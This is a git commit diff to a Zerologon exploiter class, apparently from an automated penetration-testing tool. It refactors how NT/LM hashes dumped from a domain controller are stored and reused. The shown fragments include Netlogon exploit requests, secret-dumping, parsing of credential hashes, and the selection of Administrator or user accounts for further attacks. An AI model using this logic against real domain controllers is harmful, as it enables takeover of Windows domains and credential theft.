Modify how `store_extracted_creds_for_exploitation()` is called
+ other little CR changes
This commit is contained in:
parent
6c9ce028e0
commit
869d608e09
|
@ -38,6 +38,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
self.vulnerable_port = None
|
self.vulnerable_port = None
|
||||||
self.zerologon_finger = ZerologonFinger()
|
self.zerologon_finger = ZerologonFinger()
|
||||||
self.exploit_info['credentials'] = {}
|
self.exploit_info['credentials'] = {}
|
||||||
|
self._extracted_creds = {}
|
||||||
|
|
||||||
def _exploit_host(self) -> bool:
|
def _exploit_host(self) -> bool:
|
||||||
self.dc_ip, self.dc_name, self.dc_handle = self.zerologon_finger._get_dc_details(self.host)
|
self.dc_ip, self.dc_name, self.dc_handle = self.zerologon_finger._get_dc_details(self.host)
|
||||||
|
@ -66,6 +67,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
# Restore DC's original password.
|
# Restore DC's original password.
|
||||||
if _exploited:
|
if _exploited:
|
||||||
if self.restore_password():
|
if self.restore_password():
|
||||||
|
self.store_extracted_creds_for_exploitation()
|
||||||
LOG.info("System exploited and password restored successfully.")
|
LOG.info("System exploited and password restored successfully.")
|
||||||
else:
|
else:
|
||||||
LOG.info("System exploited but couldn't restore password!")
|
LOG.info("System exploited but couldn't restore password!")
|
||||||
|
@ -90,7 +92,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
|
|
||||||
is_exploited = self.assess_exploit_attempt_result(exploit_attempt_result)
|
is_exploited = self.assess_exploit_attempt_result(exploit_attempt_result)
|
||||||
if is_exploited:
|
if is_exploited:
|
||||||
return is_exploited
|
return True
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
@ -125,7 +127,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
|
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
|
||||||
request['Authenticator'] = authenticator
|
request['Authenticator'] = authenticator
|
||||||
|
|
||||||
def assess_exploit_attempt_result(self, exploit_attempt_result):
|
def assess_exploit_attempt_result(self, exploit_attempt_result) -> bool:
|
||||||
if exploit_attempt_result:
|
if exploit_attempt_result:
|
||||||
if exploit_attempt_result['ErrorCode'] == 0:
|
if exploit_attempt_result['ErrorCode'] == 0:
|
||||||
self.report_login_attempt(result=True, user=self.dc_name)
|
self.report_login_attempt(result=True, user=self.dc_name)
|
||||||
|
@ -137,6 +139,8 @@ class ZerologonExploiter(HostExploiter):
|
||||||
LOG.info(f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something went wrong.")
|
LOG.info(f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something went wrong.")
|
||||||
return _exploited
|
return _exploited
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
def restore_password(self) -> bool:
|
def restore_password(self) -> bool:
|
||||||
LOG.info("Restoring original password...")
|
LOG.info("Restoring original password...")
|
||||||
|
|
||||||
|
@ -151,7 +155,8 @@ class ZerologonExploiter(HostExploiter):
|
||||||
|
|
||||||
# Use above extracted credentials to get original DC password's hashes.
|
# Use above extracted credentials to get original DC password's hashes.
|
||||||
LOG.debug("Getting original DC password's NT hash.")
|
LOG.debug("Getting original DC password's NT hash.")
|
||||||
username, user_pwd_hashes = user_details[0], [user_details[1]['lm_hash'], user_details[1]['nt_hash']]
|
username = user_details[0]
|
||||||
|
user_pwd_hashes = [user_details[1]['lm_hash'], user_details[1]['nt_hash']]
|
||||||
original_pwd_nthash = self.get_original_pwd_nthash(username, ':'.join(user_pwd_hashes))
|
original_pwd_nthash = self.get_original_pwd_nthash(username, ':'.join(user_pwd_hashes))
|
||||||
if not original_pwd_nthash:
|
if not original_pwd_nthash:
|
||||||
raise Exception("Couldn't extract original DC password's NT hash.")
|
raise Exception("Couldn't extract original DC password's NT hash.")
|
||||||
|
@ -191,15 +196,15 @@ class ZerologonExploiter(HostExploiter):
|
||||||
username=f"{self.dc_name}$",
|
username=f"{self.dc_name}$",
|
||||||
options=options)
|
options=options)
|
||||||
|
|
||||||
extracted_creds = self._extract_user_creds_from_secrets(dumped_secrets=dumped_secrets)
|
self._extract_user_creds_from_secrets(dumped_secrets=dumped_secrets)
|
||||||
|
|
||||||
admin = 'Administrator'
|
admin = 'Administrator'
|
||||||
if admin in extracted_creds:
|
if admin in self._extracted_creds:
|
||||||
return admin, extracted_creds[admin]
|
return admin, self._extracted_creds[admin]
|
||||||
else:
|
else:
|
||||||
for user in extracted_creds.keys():
|
for user in self._extracted_creds.keys():
|
||||||
if extracted_creds[user]['RID'] >= 1000: # will only be able to log in with user accounts
|
if self._extracted_creds[user]['RID'] >= 1000: # will only be able to log in with user accounts
|
||||||
return user, extracted_creds[user]
|
return user, self._extracted_creds[user]
|
||||||
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOG.info(f"Exception occurred while dumping secrets to get Administrator password's NT hash: {str(e)}")
|
LOG.info(f"Exception occurred while dumping secrets to get Administrator password's NT hash: {str(e)}")
|
||||||
|
@ -217,8 +222,6 @@ class ZerologonExploiter(HostExploiter):
|
||||||
return dumped_secrets
|
return dumped_secrets
|
||||||
|
|
||||||
def _extract_user_creds_from_secrets(self, dumped_secrets: List[str]) -> Dict:
|
def _extract_user_creds_from_secrets(self, dumped_secrets: List[str]) -> Dict:
|
||||||
extracted_creds = {}
|
|
||||||
|
|
||||||
# format of secret we're looking for - "domain\uid:rid:lmhash:nthash:::"
|
# format of secret we're looking for - "domain\uid:rid:lmhash:nthash:::"
|
||||||
re_phrase =\
|
re_phrase =\
|
||||||
r'([\S]*[:][0-9]*[:][a-zA-Z0-9]*[:][a-zA-Z0-9]*[:][:][:])'
|
r'([\S]*[:][0-9]*[:][a-zA-Z0-9]*[:][a-zA-Z0-9]*[:][:][:])'
|
||||||
|
@ -230,21 +233,18 @@ class ZerologonExploiter(HostExploiter):
|
||||||
user = parts_of_secret[0].split('\\')[-1] # we don't want the domain
|
user = parts_of_secret[0].split('\\')[-1] # we don't want the domain
|
||||||
user_RID, lmhash, nthash = parts_of_secret[1:4]
|
user_RID, lmhash, nthash = parts_of_secret[1:4]
|
||||||
|
|
||||||
extracted_creds[user] = {'RID': int(user_RID), # relative identifier
|
self._extracted_creds[user] = {'RID': int(user_RID), # relative identifier
|
||||||
'lm_hash': lmhash,
|
'lm_hash': lmhash,
|
||||||
'nt_hash': nthash}
|
'nt_hash': nthash}
|
||||||
|
|
||||||
self.store_extracted_creds_for_exploitation(extracted_creds)
|
def store_extracted_creds_for_exploitation(self) -> None:
|
||||||
return extracted_creds
|
for user in self._extracted_creds.keys():
|
||||||
|
|
||||||
def store_extracted_creds_for_exploitation(self, extracted_creds: Dict) -> None:
|
|
||||||
for user in extracted_creds.keys():
|
|
||||||
self.add_extracted_creds_to_exploit_info(user,
|
self.add_extracted_creds_to_exploit_info(user,
|
||||||
extracted_creds[user]['lm_hash'],
|
self._extracted_creds[user]['lm_hash'],
|
||||||
extracted_creds[user]['nt_hash'])
|
self._extracted_creds[user]['nt_hash'])
|
||||||
self.add_extracted_creds_to_monkey_config(user,
|
self.add_extracted_creds_to_monkey_config(user,
|
||||||
extracted_creds[user]['lm_hash'],
|
self._extracted_creds[user]['lm_hash'],
|
||||||
extracted_creds[user]['nt_hash'])
|
self._extracted_creds[user]['nt_hash'])
|
||||||
|
|
||||||
def add_extracted_creds_to_exploit_info(self, user: str, lmhash: str, nthash: str) -> None:
|
def add_extracted_creds_to_exploit_info(self, user: str, lmhash: str, nthash: str) -> None:
|
||||||
self.exploit_info['credentials'].update({
|
self.exploit_info['credentials'].update({
|
||||||
|
|
Loading…
Reference in New Issue